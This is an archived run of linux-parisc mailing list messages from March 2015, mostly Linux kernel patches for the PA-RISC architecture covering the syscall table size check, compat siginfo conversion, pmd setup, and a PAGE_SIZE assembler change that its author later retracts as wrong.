> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> index 55ad8be9b7f3..068b2fb9a47c 100644
> --- a/arch/parisc/include/asm/pgalloc.h
> +++ b/arch/parisc/include/asm/pgalloc.h
> @@ -38,6 +38,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
>                 /* The first pmd entry also is marked with _PAGE_GATEWAY as
>                  * a signal that this pmd may not be freed */
>                 __pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
> +               mm_inc_nr_pmds(mm);
>  #endif
>         }
>         return actual_pgd;
> --
> 2.1.4
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add compile-time check when adding new syscalls
Date: Sat, 14 Mar 2015 21:34:16 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20150314203416.GA10789@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426365279 9493 80.91.229.3 (14 Mar 2015 20:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2015 20:34:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 21:34:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWslQ-0004Y4-Qk
	for glpp-linux-parisc@plane.gmane.org; Sat, 14 Mar 2015 21:34:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751169AbbCNUe1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2015 16:34:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:59028 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750955AbbCNUe0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2015 16:34:26 -0400
Original-Received: from ls3530.box ([92.203.77.61]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MRWzQ-1YzZhL1QKm-00ScVB; Sat, 14 Mar 2015 21:34:19
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:XRiUtBM2//XB9Tkg1a+qKW9lt5/JMme7ktEgcBa3pM+DTmoRYgm
 dxQEu4GkNPJUtWvBuCX9/dcWxFpxepiBm408iwVL+qc5qbg6JPAyFCSetwG9uVqLElkUU9P
 31SKpV8VhI8qJBQy7wGve8GD1vQ/DkqrwrfH/fN9tKD7RtYrLK/LwzDF4nXpGOEU0wZZQ4R
 xCpWdlWwTnGQi4vjVcIXw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25659
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25659>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 5a8997d..802f807 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -41,20 +41,25 @@
 #define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
 #define ENTRY_OURS(_name_) .dword parisc_##_name_
 #define ENTRY_COMP(_name_) .dword compat_sys_##_name_
+#define SYSCALLTABLE_NAME  syscall_table_compat
 #elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
 #define ENTRY_SAME(_name_) .dword sys_##_name_
 #define ENTRY_DIFF(_name_) .dword sys_##_name_
 #define ENTRY_UHOH(_name_) .dword sys_##_name_
 #define ENTRY_OURS(_name_) .dword sys_##_name_
 #define ENTRY_COMP(_name_) .dword sys_##_name_
+#define SYSCALLTABLE_NAME  syscall_table_64bit
 #else
 #define ENTRY_SAME(_name_) .word sys_##_name_
 #define ENTRY_DIFF(_name_) .word sys_##_name_
 #define ENTRY_UHOH(_name_) .word sys_##_name_
 #define ENTRY_OURS(_name_) .word parisc_##_name_
 #define ENTRY_COMP(_name_) .word sys_##_name_
+#define SYSCALLTABLE_NAME  syscall_table_32bit
 #endif
 
+        .local SYSCALLTABLE_NAME
+SYSCALLTABLE_NAME:
 	ENTRY_SAME(restart_syscall)	/* 0 */
 	ENTRY_SAME(exit)
 	ENTRY_SAME(fork_wrapper)
@@ -439,8 +444,21 @@
 	ENTRY_SAME(bpf)
 	ENTRY_COMP(execveat)
 
+
+        .size SYSCALLTABLE_NAME, . - SYSCALLTABLE_NAME
+        .type SYSCALLTABLE_NAME, @object
+
+#if defined(CONFIG_64BIT)
+.ifne (. - SYSCALLTABLE_NAME) - (__NR_Linux_syscalls * 8)
+#else /* !defined(CONFIG_64BIT) */
+.ifne (. - SYSCALLTABLE_NAME) - (__NR_Linux_syscalls * 4)
+#endif
+.error "syscall table not in sync with value of __NR_Linux_syscalls"
+.endif
+
 	/* Nothing yet */
 
+#undef SYSCALLTABLE_NAME
 #undef ENTRY_SAME
 #undef ENTRY_DIFF
 #undef ENTRY_UHOH
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: compat Fix siginfo_t -> compat_siginfo_t conversion
 on big endian
Date: Sun, 15 Mar 2015 21:00:41 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20150315200041.GA10927@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426449675 20146 80.91.229.3 (15 Mar 2015 20:01:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2015 20:01:15 +0000 (UTC)
Cc: Catalin Marinas <catalin.marinas@arm.com>,
	Bamvor Jian Zhang <bamvor.zhangjian@huawei.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 21:01:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXEic-0004vV-SO
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Mar 2015 21:01:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751638AbbCOUBC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Mar 2015 16:01:02 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58349 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751296AbbCOUBB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Mar 2015 16:01:01 -0400
Original-Received: from ls3530.box ([92.203.2.169]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0M1F72-1ZQ2Bp2PQe-00tDp0; Sun, 15 Mar 2015 21:00:46
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:bdTUrYy7eKK1Brx+6Kegmd8Kc2EfrqmV5MEBz4LnpOcXggruzNo
 Ro7an4Np5UHDgbcTn2qP2UpisbfWkRUi1q6jri2+VciOqXF7ur3foY5X2obeDyJf+h+0WId
 Npw1jjzOqCd30jmsIiU+DZi5+4FV5jH/uA3abyf91J8oTBufBTfLKgFoM6XIf2+XOUz6f66
 AMq7TcR6PGmYuXTh7JWVw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25660
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25660>

This patch is basically the same as commit 9d42d48 from Catalin Marinas
but adopted to the parisc architecture.

The native (64-bit) sigval_t union contains sival_int (32-bit) and sival_ptr
(64-bit). When a compat application invokes a syscall that takes a sigval_t
value (as part of a larger structure, e.g.  compat_sys_mq_notify,
compat_sys_timer_create), the compat_sigval_t union is converted to the native
sigval_t with sival_int overlapping with either the least or the most
significant half of sival_ptr, depending on endianness. When the corresponding
signal is delivered to a compat application, on big endian the current
(compat_uptr_t)sival_ptr cast always returns 0 since sival_int corresponds to
the top part of sival_ptr. This patch fixes copy_siginfo_to_user32() so that
sival_int is copied to the compat_siginfo_t structure.

Cc: <stable@vger.kernel.org>
Reported-by: Bamvor Jian Zhang <bamvor.zhangjian@huawei.com>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 984abbe..d1f1fcd 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -322,7 +322,6 @@ int
 copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
 {
 	compat_uptr_t addr;
-	compat_int_t val;
 	int err;
 
 	if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
@@ -361,15 +360,13 @@ copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
 		case __SI_TIMER >> 16:
 			err |= __put_user(from->si_tid, &to->si_tid);
 			err |= __put_user(from->si_overrun, &to->si_overrun);
-			val = (compat_int_t)from->si_int;
-			err |= __put_user(val, &to->si_int);
+			err |= __put_user(from->si_int, &to->si_int);
 			break;
 		case __SI_RT >> 16:	/* Not generated by the kernel as of now.  */
 		case __SI_MESGQ >> 16:
 			err |= __put_user(from->si_uid, &to->si_uid);
 			err |= __put_user(from->si_pid, &to->si_pid);
-			val = (compat_int_t)from->si_int;
-			err |= __put_user(val, &to->si_int);
+			err |= __put_user(from->si_int, &to->si_int);
 			break;
 		}
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, v2] parisc: Add compile-time check when adding new
 syscalls
Date: Sun, 15 Mar 2015 21:32:12 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20150315203212.GA452@ls3530.box>
References: <20150314203416.GA10789@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426451551 15726 80.91.229.3 (15 Mar 2015 20:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Mar 2015 20:32:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 15 21:32:25 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXFCw-0008Dp-GK
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Mar 2015 21:32:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752544AbbCOUcV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Mar 2015 16:32:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:59300 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751166AbbCOUcV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Mar 2015 16:32:21 -0400
Original-Received: from ls3530.box ([92.203.2.169]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MUoma-1Z32k81nNk-00Y65R; Sun, 15 Mar 2015 21:32:16
 +0100
Content-Disposition: inline
In-Reply-To: <20150314203416.GA10789@ls3530.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:YKCbtbzUugffnAUgIaAXuEZL9VYEssl8jWv/NL2czAb4ehsO3sR
 /FuTKBM14NVYds32DfVB2aqBE38IAq0qQjJqlAFD1vE6+01aXH92nFj1y6KYLIk2YkCmq+g
 S53zAtfz+GyHrvNiPeEulXi1N92EFC+kFp0bj3w5V6qQZKzmqNmGJgizrxM18zKk2mFfzXq
 CIuHjKNYW9q3GB1eKCQSA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25661>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 5a8997d..0959fcc 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -55,6 +55,7 @@
 #define ENTRY_COMP(_name_) .word sys_##_name_
 #endif
 
+99:
 	ENTRY_SAME(restart_syscall)	/* 0 */
 	ENTRY_SAME(exit)
 	ENTRY_SAME(fork_wrapper)
@@ -439,6 +440,15 @@
 	ENTRY_SAME(bpf)
 	ENTRY_COMP(execveat)
 
+
+#if defined(CONFIG_64BIT)
+.ifne (. - 99b) - (__NR_Linux_syscalls * 8)
+#else /* !defined(CONFIG_64BIT) */
+.ifne (. - 99b) - (__NR_Linux_syscalls * 4)
+#endif
+.error "size of syscall table does not fit value of __NR_Linux_syscalls"
+.endif
+
 	/* Nothing yet */
 
 #undef ENTRY_SAME
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix pmd code to depend on PT_NLEVELS value, not on
 CONFIG_64BIT
Date: Mon, 16 Mar 2015 21:17:50 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20150316201750.GA3085@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426537091 17450 80.91.229.3 (16 Mar 2015 20:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2015 20:18:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 16 21:18:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXbSY-0003PX-JR
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Mar 2015 21:17:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753032AbbCPUR6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2015 16:17:58 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:65241 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753551AbbCPUR5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2015 16:17:57 -0400
Original-Received: from ls3530.box ([92.203.10.180]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0Lcjgd-1ZDmYn0KM3-00k7mb; Mon, 16 Mar 2015 21:17:54
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:uuo9FlrsYZnWWrdkJtY4UO5t6JLHstdLHcvUXtIaTFQ23w6U2Nk
 mqjeS8BEkRNQyk1/xMiNXex1gRXIinAoQnysDKTrn1AYNmScyVBsh3ExapPVoQ+zT8hY3qj
 GeiVCk5qUs8K+gD8KlO0RFaij8F9YO/gbc9SjaCkuEupBhupPjz0mVaKJZGLzH3W71LUHmx
 y4lS6kXUjNBuSnU/VkBpA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25662
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25662>

Make the code which sets up the pmd depend on PT_NLEVELS == 3, not on
CONFIG_64BIT. The reason is, that a 64bit kernel with a page size
greater than 4k doesn't need the pmd and thus has PT_NLEVELS = 2.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index 8ee9a0b..c500730 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -26,7 +26,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 
 	if (likely(pgd != NULL)) {
 		memset(pgd, 0, PAGE_SIZE<<PGD_ALLOC_ORDER);
-#ifdef CONFIG_64BIT
+#if PT_NLEVELS == 3
 		actual_pgd += PTRS_PER_PGD;
 		/* Populate first pmd with allocated memory.  We mark it
 		 * with PxD_FLAG_ATTACHED as a signal to the system that this
@@ -46,7 +46,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 
 static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 {
-#ifdef CONFIG_64BIT
+#if PT_NLEVELS == 3
 	pgd -= PTRS_PER_PGD;
 #endif
 	free_pages((unsigned long)pgd, PGD_ALLOC_ORDER);
@@ -73,12 +73,10 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 
 static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 {
-#ifdef CONFIG_64BIT
 	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
 		/* This is the permanent pmd attached to the pgd;
 		 * cannot free it */
 		return;
-#endif
 	free_pages((unsigned long)pmd, PMD_ORDER);
 }
 
@@ -100,7 +98,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 static inline void
 pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 {
-#ifdef CONFIG_64BIT
+#if PT_NLEVELS == 3
 	/* preserve the gateway marker if this is the beginning of
 	 * the permanent pmd */
 	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Do not hardcode PAGE_SIZE dependend values in
 assembler
Date: Mon, 16 Mar 2015 21:21:17 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20150316202117.GA3141@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426537294 20941 80.91.229.3 (16 Mar 2015 20:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2015 20:21:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 16 21:21:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXbVt-0005ZB-JQ
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Mar 2015 21:21:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932071AbbCPUVZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2015 16:21:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55772 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753064AbbCPUVY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2015 16:21:24 -0400
Original-Received: from ls3530.box ([92.203.10.180]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MGFz9-1YipOw2tl9-00F9Ks; Mon, 16 Mar 2015 21:21:22
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:TMH2x1O76DumkGzFOUng/kihYIsmi/6glnFcc6rJKFdPkqXtUIJ
 ZmDJz5Z8NSXkUjaOvAMQgudvcSZ8zPq9vEeDtII2a1LNXHZMPK5sTZiLk/oIJyha6d7cayy
 +ziVWSwI+iDVWhEBIjJv/6efr1tsdSBl8BCaRWhvZ/RkYI0oxaTzh0yuPixdkP50+Jy6r0p
 em6fP6Ojvr/03X2JkcVZA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25663>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 2ab16bb..c9bbf88 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -640,9 +640,9 @@
 	 * Check "subtle" note in pacache.S re: r23/r26.
 	 */
 #ifdef CONFIG_64BIT
-	extrd,u,*=	\va,41,1,%r0
+	extrd,u,*=	\va,63-PAGE_SHIFT,1,%r0
 #else
-	extrw,u,=	\va,9,1,%r0
+	extrw,u,=	\va,31-PAGE_SHIFT,1,%r0
 #endif
 	or,COND(tr)	%r23,%r0,\pte
 	or		%r26,%r0,\pte
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Do not hardcode PAGE_SIZE dependend values in
 assembler
Date: Mon, 16 Mar 2015 21:23:15 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <55073BB3.1090109@gmx.de>
References: <20150316202117.GA3141@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426537411 22724 80.91.229.3 (16 Mar 2015 20:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Mar 2015 20:23:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 16 21:23:23 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YXbXm-0007RB-Fh
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Mar 2015 21:23:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751989AbbCPUXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Mar 2015 16:23:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58232 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751170AbbCPUXV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Mar 2015 16:23:21 -0400
Original-Received: from [192.168.20.60] ([92.203.10.180]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M54s2-1ZTX7A17S2-00zFZ8; Mon, 16 Mar 2015 21:23:18
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <20150316202117.GA3141@ls3530.box>
X-Provags-ID: V03:K0:zrbtjhw1zNLZGssOFPGhwE15D3khKzzn7f2gZq5xmvBvVZLyrQe
 mjOhmiGd1tNCLycIuoKo/5iMDNAT3bpyQAgydyu1wr1h4TYYFQPJB7yAHcmi5Fa/jOV6OGV
 xf9VcjpBepuSnx0bbaygJ0vW4cBV5d9ZzABusZ0chB72dnIz3YbiDCazllKtFNrZIgA4PeG
 M6J7hNlA8/Rkuj4vY8odQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25664
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25664>

ignore this patch - it's wrong.

Helge

On 16.03.2015 21:21, Helge Deller wrote:
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> index 2ab16bb..c9bbf88 100644
> --- a/arch/parisc/kernel/entry.S
> +++ b/arch/parisc/kernel/entry.S
> @@ -640,9 +640,9 @@
>   	 * Check "subtle" note in pacache.S re: r23/r26.
>   	 */
>   #ifdef CONFIG_64BIT
> -	extrd,u,*=	\va,41,1,%r0
> +	extrd,u,*=	\va,63-PAGE_SHIFT,1,%r0
>   #else
> -	extrw,u,=	\va,9,1,%r0
> +	extrw,u,=	\va,31-PAGE_SHIFT,1,%r0
>   #endif
>   	or,COND(tr)	%r23,%r0,\pte
>   	or		%r26,%r0,\pte
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: compat Fix siginfo_t -> compat_siginfo_t
 conversion on big endian
Date: Tue, 17 Mar 2015 17:13:33 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20150317171333.GA14408@e104818-lin.cambridge.arm.com>
References: <20150315200041.GA10927@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426612438 7678 80.91.229.3 (17 Mar 2015 17:13:58 GMT)
